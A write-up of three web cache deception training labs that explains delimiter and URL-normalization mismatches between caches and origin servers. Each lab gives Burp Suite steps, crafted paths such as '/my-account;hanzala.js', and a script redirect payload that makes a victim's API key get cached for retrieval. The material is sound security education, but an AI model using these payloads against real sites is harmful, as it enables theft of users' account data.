Web Cache Deception: Exploiting Path Delimiters and Normalization (Practitioner Labs)#

Lab Description#

This lab shows how attackers can abuse path delimiter variations (e.g., ; or ?) to trick caches into storing sensitive content under static-looking paths.

Technical Overview#

Delimiter discrepancies arise when the origin server and cache server interpret special characters differently:

• Framework Behavior:
  • ; (semicolon) is used for matrix parameters in Java Spring.
  • . (dot) denotes response format in Ruby on Rails.
  • %00 (null byte) acts as a terminator in OpenLiteSpeed.
• Cache Behavior: Caches treat these characters literally, assuming they’re part of a static file path (e.g., /account;foo.css).

Attack Flow:

1. Craft a URL like /my-account;fake.css.
2. The origin server ignores ;fake.css and returns sensitive data (e.g., user profile).
3. The cache, seeing .css, stores the response as a static resource.
4. Attackers access the cached response at /my-account;fake.css.

Delimiter Decoding:

• Encoded delimiters like %23 (#) or %3F (?) can exploit decoding mismatches.
• Example: /profile%23wcd.css → Cache sees .css, origin decodes %23 to # and processes /profile.

Exploitation Steps:

• Use Burp Intruder to test delimiters (;, ., !, %00, etc.) in raw and encoded forms.
• Check response headers (e.g., X-Cache) and content to confirm caching of dynamic responses.

Solution#

1. Configure FoxyProxy to route traffic through Burp Suite. Disable Intercept and log in as wiener:peter.
2. In Proxy > HTTP History, locate GET /my-account. Right-click and send to Repeater.
3. In Repeater, test /my-account/abc → 404 Not Found (no caching).
4. Test /my-accountabc → 404 Not Found (baseline for delimiter testing).
5. Send /my-account to Intruder. Set payload position as /my-account§§abc and use PortSwigger’s delimiter list.
6. Disable URL-encode in Payload settings.
7. Run the attack. Note ; and ? return 200 OK with the API key, indicating they are delimiters.
8. In Repeater, test /my-account?abc.js → 200 OK, no caching (cache uses ? as a delimiter).
9. On the Exploit Server, craft an exploit to redirect user carlos to /my-account;hanzala.js:

   1
   <script>document.location="https://YOUR-LAB-ID.web-security-academy.net/my-account;hanzala.js"</script>
   

   
10. Deliver the exploit. Revisit /my-account;hanzala.js in Repeater to retrieve Carlos’s API key.
11. Submit the API key to complete the lab.

Lab Description#

This lab demonstrates how mismatches in URL normalization between the origin and cache servers allow attackers to cache sensitive content under static directories using encoded dot-segments (e.g., ..%2f).

Technical Overview#

Static directory cache rules (e.g., /resources, /static) instruct caches to store responses as static resources. If the origin server resolves encoded paths (e.g., /resources/..%2fprofile to /profile) differently from the cache, attackers can:

1. Craft a URL matching the cache’s static rule (e.g., /resources/..%2fmy-account).
2. The origin server resolves it to a sensitive endpoint (/my-account).
3. The cache stores the response under the static path.

Example:

1
/resources/..%2fprofile
2
→ Cache: Matches /resources rule, caches response
3
→ Origin: Resolves to /profile, returns sensitive data

Exploitation Steps:

• Use Burp Suite to test path normalization with encoded dot-segments (..%2f).
• Check for X-Cache headers to confirm caching behavior.

Solution#

1. Configure FoxyProxy and Burp Suite. Log in as wiener:peter.
2. In Proxy > HTTP History, note /resources paths are cached. Send a /resources request to Repeater.
3. Test /resources/..%2fRESOURCES → 404 Not Found with X-Cache: miss.
4. Resend → X-Cache: hit, indicating cache doesn’t decode dot-segments.
5. Test /resources/..%2fmy-account → 200 OK with API key and X-Cache: miss.
6. Resend → X-Cache: hit.
7. On the Exploit Server, craft an exploit:

   1
   <script>document.location="https://YOUR-LAB-ID.web-security-academy.net/resources/..%2fmy-account"</script>
   

   
8. Deliver the exploit. Visit /resources/..%2fmy-account to retrieve Carlos’s API key.
9. Submit the API key to complete the lab.

Lab Description#

This lab explores how cache server normalization discrepancies, particularly in decoding encoded dot-segments (e.g., %2f%2e%2e%2f), allow caching of sensitive content under static paths.

Technical Overview#

If the cache server decodes paths (e.g., /my-account%2f%2e%2e%2fresources to /resources) but the origin server truncates at a delimiter (e.g., %23 for #), attackers can:

1. Craft a URL that the cache maps to a static directory.
2. The origin server processes it as a sensitive endpoint.
3. The cache stores the response under the static path.

Example:

1
/my-account%23%2f%2e%2e%2fresources
2
→ Cache: Resolves to /resources, caches response
3
→ Origin: Truncates at %23, processes /my-account

Exploitation Steps:

• Test encoded dot-segments and delimiters (%23, %3f) to identify cache vs. origin behavior.
• Use X-Cache headers to confirm caching.

Solution#

1. Configure FoxyProxy and Burp Suite. Log in as wiener:peter.
2. In Proxy > HTTP History, note caching for /resources paths. Send a /resources request to Repeater.
3. Test /aaa/..%2fresources/YOUR-RESOURCE → 404 Not Found with X-Cache: miss.
4. Resend → X-Cache: hit, confirming cache resolves dot-segments.
5. Test /resources/.%2fYOUR-RESOURCE → 404 Not Found, no caching.
6. Test /my-account%2f%2e%2e%2fresources → 200 OK with API key, no caching.
7. Test /my-account%23%2f%2e%2e%2fresources → 200 OK with X-Cache: miss.
8. Resend → X-Cache: hit.
9. On the Exploit Server, craft an exploit:

   1
   <script>document.location="https://YOUR-LAB-ID.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?hanzala"</script>
   

   
10. Deliver the exploit. Visit /my-account%23%2f%2e%2e%2fresources?hanzala to retrieve Carlos’s API key.
11. Submit the API key to complete the lab.